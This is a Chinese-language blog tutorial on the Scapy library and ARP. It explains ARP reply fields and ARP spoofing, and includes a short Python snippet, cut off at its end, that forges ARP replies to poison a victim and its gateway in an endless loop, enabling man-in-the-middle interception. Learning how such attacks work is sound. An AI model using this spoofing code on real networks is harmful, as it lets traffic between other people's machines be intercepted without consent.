Loading... <figure> <img width="640" height="480" src="https://blog.yanqiyao.co/usr/uploads/2019/02/发送报文.png" alt="" srcset="https://blog.yanqiyao.co/usr/uploads/2019/02/发送报文.png 800w, https://blog.yanqiyao.co/usr/uploads/2019/02/发送报文-300x225.png 300w, https://blog.yanqiyao.co/usr/uploads/2019/02/发送报文-768x576.png 768w" sizes="(max-width: 640px) 100vw, 640px"><figcaption>发送报文</figcaption></figure> <!-- wp:image {"id":81} --> <figure><img src="https://blog.yanqiyao.co/usr/uploads/2019/03/接收报文.png" alt=""/><figcaption>接收报文1</figcaption></figure> <!-- /wp:image --> <!-- wp:image {"id":82} --> <figure><img src="https://blog.yanqiyao.co/usr/uploads/2019/03/接受报文.png" alt=""/><figcaption>接收报文2</figcaption></figure> <!-- /wp:image --> <!-- wp:image {"id":80} --> <figure><img src="https://blog.yanqiyao.co/usr/uploads/2019/03/发送报文.png" alt=""/><figcaption>发送报文</figcaption></figure> <!-- /wp:image --> <!-- wp:heading --> <h2>Scapy学习日志</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>arp协议研究:</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>arp协议的全称为地址解析协议,是一种工作在网络层的协议,是一种将ip地址转换为MAC地址(物理地址)的协议</p> <!-- /wp:paragraph --> <!-- wp:image {"id":84} --> <figure><img src="https://blog.yanqiyao.co/usr/uploads/2019/03/scapy.jpg" alt=""/></figure> <!-- /wp:image --> <!-- wp:paragraph --> <p> 局域网内所有机器接收此arp请求,如果发现请求的ip为自己的ip便会向请求机器发送arp响应,将自己的MAC地址带入arp响应包单播发送给请求的机器,arp响应包主要字段如下:</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p> op:2(op值为2说明这是一次arp响应) </p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>hwsrc:发送方MAC地址(即网关MAC地址) </p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p> psrc:发送方ip地址(即网关ip地址) </p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>hwdst:目标MAC地址(为发起arp请求的机器的MAC地址) </p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>pdst:目标ip地址(为发起arp请求的机器的ip地址) </p> <!-- /wp:paragraph --> <!-- wp:heading --> <h2>ARP欺骗</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>网关: IP</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>受害者机器:IP</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>本机:IP</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>正常情况下,如果受害者和网关要进行通信,首先要使用arp协议进行对方的MAC地址获取,但是如果攻击者不断的向受害者发送arp响应包,告诉受害者网关的MAC地址为自己的MAC地址,包的大致内容如下</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>op:2(op值为2说明这是一次arp响应)</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>hwsrc:发送方MAC地址(攻击者MAC地址)</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>psrc:发送方ip地址(网关ip地址)</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>hwdst:目标MAC地址(受害者MAC地址)</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>pdst:目标ip地址(受害者ip地址)</p> <!-- /wp:paragraph --> <!-- wp:heading --> <h2>利用python实现arp攻击</h2> <!-- /wp:heading --> <!-- wp:paragraph --> <p>所需python第三方库</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>scapy库:scapy是一个可用于网络嗅探的非常强大的第三方库。可以伪造,嗅探或发送网络数据包,这这里我们使用scapy库伪造arp响应包并发送,首先安装scapy库,kali默认自带</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre><code>localmac=get_if_hwaddr(interface)#get_if_hwaddr获取本地网卡MAC地址 tmac=getmacbyip(tip)#根据目标ip获取其MAC地址 gmac=getmacbyip(gip)#根据网关ip获取其MAC地址 ptarget=Ether(src=localmac,dst=tmac)/ARP (hwsrc=localmac,psrc=gip,hwdst=tmac,pdst=tip,op=2)#构造arp响应包,欺骗目标机器网关的MAC地址为本机MAC地址 pgateway=Ether(src=localmac,dst=gmac)/ARP(hwsrc=localmac,psrc=tip,hwdst=gmac,pdst=gip,op=2)#构造arp响应包,欺骗网关目标机器的MAC地址为本机MAC地址 while 1:#死循环开启/while True: #也可以 sendp</code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>使用到scapy库中的几个函数</p> <!-- /wp:paragraph --> <!-- wp:list --> <ul><li>get_if_hwaddr("本地网卡名称(eth0/wlan0)") 根据所选择的本地网卡获取相应的本地网卡的MAC地址</li><li>getmacbyip("ip地址") 根据ip地址获取其MAC地址,使用该函数实际上使用了一次arp协议,可以用此函数获取网关和目标的MAC地址</li></ul> <!-- /wp:list --> <!-- wp:paragraph --> <p></p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>上面三张图是scapy欺骗投毒后的图,有兴趣可以试试,</p> <!-- /wp:paragraph --> 最后修改:2019 年 04 月 06 日 02 : 38 PM © 允许规范转载 赞赏 如果觉得我的文章对你有用,请随意赞赏 ×Close 赞赏作者 扫一扫支付 支付宝支付 微信支付